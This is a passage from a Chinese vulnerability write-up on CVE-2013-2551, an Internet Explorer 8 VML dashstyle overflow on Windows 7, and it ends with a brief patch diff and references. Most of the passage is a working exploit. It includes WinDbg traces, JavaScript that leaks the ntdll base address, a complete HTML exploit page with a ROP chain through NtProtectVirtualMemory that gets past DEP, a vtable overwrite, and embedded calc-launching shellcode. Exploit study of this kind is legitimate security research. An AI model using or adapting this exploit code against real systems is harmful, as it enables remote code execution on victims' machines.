运行完ntdll!ZwProtectVirtualMemory函数之后的ret根据esp返回的就是shellcode的位置。并且因为我们用了ntdll!ZwProtectVirtualMemory函数,所以绕过了dep,可以正常的执行数据。这样就可以完成rop链的创建。继续往下走就会弹出计算器。
0:005> p
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
eax=00000000 ebx=04801268 ecx=05ac92c0 edx=776a70b4 esi=048563b4 edi=776a5f18
eip=776a5f24 esp=05ac92c4 ebp=ffffffff iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
ntdll!ZwProtectVirtualMemory+0xc:
776a5f24 c21400 ret 14h
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
0:005> dd esp
05ac92c4 048563b4 ffffffff 05ac92e0 04801268
05ac92d4 00000040 0480125c 0000008a 04856000
05ac92e4 00010400 048563b4 00000000 7dafed29
05ac92f4 880097d8 6d7f5504 05a7f958 00000001
05ac9304 00000000 7dafed16 8800ed54 6d7f5504
05ac9314 05a7fa38 00000001 00000000 7dafed13
05ac9324 88000000 6d7f5504 05a7fb18 00000001
05ac9334 00000000 7dafed10 880098da 6d7f5504
0:005> p
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
eax=00000000 ebx=04801268 ecx=05ac92c0 edx=776a70b4 esi=048563b4 edi=776a5f18
eip=048563b4 esp=05ac92dc ebp=ffffffff iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213
048563b4 33c9 xor ecx,ecx
WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can
be inaccurate.
另一种泄露基址
就像我前面遇到的问题一样,如果win7打过补丁之后,0x7ffe0300不再是固定地址,这样就不能再用上面的方法来泄露出ntdll的基址,这里看到了另一位大佬的文章,用了另一种方法https://www.4hou.com/technology/4241.html
具体的操作还是通过溢出泄露vgx.dll的某个指针然后根据固定偏移泄露出vgx.dll的基址,然后再找到vgx与kernel32.dll的偏移计算出kernel32.dll的基址,最后再利用kernel32.dll的基址算出ntdll.dll的基址。这里的偏移计算可以用CFF_Expler来查找。
具体代码:
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "Khwarezmia";
marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16);
if (marginLeftAddress > 0) {
/////////////////////////////////////////////////////////
//offset to PE
vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + 0x3c;
var leak = a[i].marginLeft;
pe_offset = parseInt(leak.charCodeAt(0).toString(16), 16);
//find import directory
vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + pe_offset + 0x80;
var leak = a[i].marginLeft;
import_directory =
parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
//find kernel32.dll
vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + import_directory + 0x4C;
var leak = a[i].marginLeft;
thunk = parseInt(leak.charCodeAt(0).toString(16), 16);
//find first function address
vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + thunk;
var leak = a[i].marginLeft;
first_function_addr =
parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
ntdll_base = first_function_addr - 0x47760;
//return original value
vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
/////////////////////////////////////////////////////////
alert("base of ntdll.dll : " + ntdll_base.toString(16));
break;
}
}
return ntdll_base;
完整exp
<html lang="zh">
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>cve-2013-2551 win7 sp1 IE8.0</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<body>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
<script>
var rect_array = new Array();
var a = new Array();
var rop_addr;
var ntdllbase;
var shellcodeaddr;
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape");
rect_array[i].id = "rect" + i.toString();
document.body.appendChild(rect_array[i]);
}
}
function leak(){
var vml1 = document.getElementById("vml1");
for (var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i = 0; i < 0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
var length_orig = vml1.dashstyle.array.length;//44
vml1.dashstyle.array.length = 0 - 1;
for (var i = 0; i < 0x400; i++){
marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);
a[i].marginLeft = unescape("%uC933%u8B64%u3041%u588B%u8B0C%u1473%u96AD%u8BAD%u1058%u538B%u033C%u8BD3%u7852%uD303%u728B%u0320%u33F3%u41C9%u03AD%u81C3%u4738%u7465%u7550%u81F4%u0478%u6F72%u4163%uEB75%u7881%u6408%u7264%u7565%u8BE2%u2472%uF303%u8B66%u4E0C%u728B%u031C%u49F3%u148B%u038E%u68D3%u6578c%u5768%u6E69%u5445%uFF53%u6AD2%u6800%u6163%u636C%uFC8Bj%uFF57%uC3D0");
marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress_orgin != marginLeftAddress_modify) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
var shelladdr = marginLeftAddress_modify;
ntdllbase = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16) - 0x470B0;
alert(ntdllbase);
shellcodeaddr = shelladdr;
var rop_chain = tab2uni(get_ropchain(shelladdr));
a[i].marginLeft = rop_chain;
rop_addr = vml1.dashstyle.array.item(0x2E+0x16);
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
vml1.dashstyle.array.length = length_orig;
break;
}
}
}
function get_ropchain(shelladdr){
var arr = [
ntdllbase + Number(0x1) ,
ntdllbase + Number(0x1) ,
ntdllbase + Number(0x47733), //# XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN
0x200,// NtProtectVirtualMemory的第三个参数所指的值
];
return arr;
}
function d2u(dword) {
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}
function tab2uni(tab) {
var uni = ""
for(var i=0;i<tab.length;i++) {
uni += d2u(tab[i]);
}
return uni;
}
function exploit(){
var vml1 = document.getElementById("vml1")
for(var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x300){
vml1.dashstyle = "1 2 3 4";
}
}
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
alert(rop_addr);
vml1.dashstyle.array.item(6) = rop_addr; //覆盖到虚表
vml1.dashstyle.array.item( 9) = ntdllbase+Number(0x47643); //pop edi # ret
vml1.dashstyle.array.item(10) = ntdllbase+Number(0x45f18); //NtProtectVirtualMemory
vml1.dashstyle.array.item(11) = ntdllbase+Number(0xc71ef); //pop esi # ret
vml1.dashstyle.array.item(12) = shellcodeaddr;
vml1.dashstyle.array.item(13) = ntdllbase+Number(0xcb72a); //pop ebp # ret
vml1.dashstyle.array.item(14) = 0-1; // -1
vml1.dashstyle.array.item(15) = ntdllbase+Number(0x348b9); //pop ebx # ret
vml1.dashstyle.array.item(16) = rop_addr+12; //ptr RegionSize
vml1.dashstyle.array.item(17) = ntdllbase+Number(0x9a30c); //pop eax # ret
vml1.dashstyle.array.item(18) = 0-96601473;
vml1.dashstyle.array.item(19) = ntdllbase+Number(0x3ab39); //add eax,5C205C1h # ret
vml1.dashstyle.array.item(20) = ntdllbase+Number(0x36d70); //xchg eax,edx # ret
vml1.dashstyle.array.item(21) = ntdllbase+Number(0xcd241); //pop ecx # ret
vml1.dashstyle.array.item(22) = rop_addr; //ptr to OldAccessProtection
vml1.dashstyle.array.item(23) = ntdllbase+Number(0x227c4); //pushad # ret
vml1.dashstyle.array.item(24) = shellcodeaddr;
vml1.dashstyle.array.item(25) = Number(0x10400);
vml1.dashstyle.array.item(26) = shellcodeaddr;
for (var i=0; i<0x400; i++)
{
delete a[i];
CollectGarbage();
}
alert("done");
}
createRects();
leak();
exploit();
</script>
</html>
补丁对比
用bindiff打开两个vgx.dll
发现主要是补丁中在COALineDashStyleArray::put_length函数新加了一段判断,判断数值是否小于0,如果小于0则直接跳转,就不会产生后面的溢出了。
参考链接
《漏洞战争》
<https://www.cnblogs.com/Danny-Wei/p/3766432.html>
<https://hpasserby.me/post/ef2727d8.html#%E8%A7%A6%E5%8F%91%E6%BC%8F%E6%B4%9E>
<https://www.cnblogs.com/amaza/p/10793691.html>
<https://www.4hou.com/technology/4241.html>